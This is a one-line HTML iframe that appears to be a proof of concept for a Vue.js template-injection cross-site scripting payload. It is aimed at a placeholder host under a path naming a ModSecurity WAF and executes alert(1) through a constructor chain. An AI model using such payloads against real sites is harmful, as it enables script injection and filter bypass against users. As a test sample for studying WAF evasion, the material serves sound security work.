<iframe src="http://victim.example.com/repo/waf/modsecurity/vue.php?inj=<div id=app-4><div v-html=%22''.constructor.constructor('alert(1)')()%22>aaa</div></div>"></iframe>
